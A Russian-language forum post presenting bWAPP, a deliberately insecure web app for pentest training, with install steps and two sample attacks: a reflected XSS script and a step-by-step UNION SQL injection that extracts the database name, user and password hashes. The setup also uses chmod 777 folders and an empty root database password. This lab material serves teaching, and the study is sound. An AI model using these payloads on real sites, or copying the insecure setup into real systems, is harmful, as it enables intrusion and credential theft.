Soft Платформа для отработки навыков пентеста

Хочу рассказать о такой прелестной штуке как BWAPP это- веб-платформа для оттачивания скилов пентеста. По простому намеренно небезопасное веб-приложение. Сделано компанией

Ссылка скрыта от гостей

В данном приложении содержиться более 100 веб-багов

Список багов

• SQL, HTML, iFrame, SSI, OS Command, PHP, XML, XPath, LDAP, Host Header и SMTP инъекции
  
• Cross-Site Scripting (XSS), Cross-Site Tracing (XST) и Cross-Site Request Forgery (CSRF)
  
• Проблемы AJAX и веб-служб (jQuery/JSON/XML/SOAP/WSDL)
  
• Вопросы аутентификации, авторизации и сессий, уязвимость выгрузки файлов и файлов бэкдоров
  
• Произвольный доступ к файлам, лазание по директориями (directory traversals), локальное и удалённое внедрение файлов (LFI/RFI)
  
• Проблемы конфигурации: Man-in-the-Middle, файлы cross-domain policy, раскрытие информации,…
  
• HTTP parameter pollution, HTTP response splitting и HTTP verb tampering
  
• Небезопасные конфигурации DistCC, FTP, NTP, Samba, SNMP, VNC и WebDAV
  
• HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) и проблемы веб-хранилища
  
• XML External Entity attacks (XXE) и Server Side Request Forgery (SSRF)
  
• Уязвимости Heartbleed и Shellshock (OpenSSL), Атаки отказ-в-обслуживании (DoS)
  
• Parameter tampering, cookie и password reset poisoning

Установка

1. Скачайте
   Ссылка скрыта от гостей
   .
   
2. Переместите директорию 'bWAPP' (и всё содержимое) в корень вашего веб-сервера.
   
3. Дайте полные разрешение на папки passwords,images,documents,logs.
   
   

   chmod 777 passwords/
   
   chmod 777 images/
   
   chmod 777 documents/
   
   chmod 777 logs/

4. Отредактируйте файл 'admin/settings.php' на ваши собственные настройки подключения к базе данных.
   
   Пример
   
   

   $db_server = "localhost";   // сервер вашей базы данных (IP/имя)
   
   $db_username = "root";      // имя пользователь вашей MySQL
   
   $db_password = "";      // пароль базы данных

5. Откройте в браузере файл 'install.php' в директории 'bWAPP
   
   
6. Кликните на 'here' (Click 'here' to install bWAPP). Будет создана и заполнена база данных 'bWAPP'.
   
   
   
7. Далее вас перенаправит
   Ссылка скрыта от гостей
   не перенаправило, ну сами перейдите=))
   
8. Войдите с учетными данными по умолчанию, или создайте нового пользователя, кстати по умолчанию логг/пасс bee/bug

После установки уже можете наслаждаться) и пытаться полностью пройти ее)

Выбираете ту уязвимость в которой хотите попрактиковаться и вперед)


Пару примеров что можно там делать:

XSS

XSS здесь много и на любой вкус.

Пожалуй выберем XSS — Reflected (GET)

Подставляем

<script>alert(1);</script>

SQL INJECTION

Выбираем sqlinjection get/search
В поле выбора фильма вбиваем то что хотите) я поискал железного человека и нашел)

Подставляем кавычку, получаем ошибку:

http://192.168.1.18/bWAPP/sqli_1.php?title=iron_man&action=search

Воспользуемся техникой order by и подберем количество столбцов:

http://192.168.1.18/bWAPP/sqli_1.php?title= iron_man %27%20order%20by%2010%20--%20&action=search

Оно равно 7:

http://192.168.1.18/bWAPP/sqli_1.php?title= iron_man %27%20order%20by%207%20--%20&action=search

Дальше используем union:

http://192.168.1.18/bWAPP/sqli_1.php?title= iron_man %27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search

Получаем номера столбцов:

Получаем имя базы данных, имя юзера, хеш пароля:

http://192.168.1.18/bWAPP/sqli_1.php?title=iron_man%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search

Cпасибо всем кто дочитал до конца) это моя первая статья-так что с почином меня)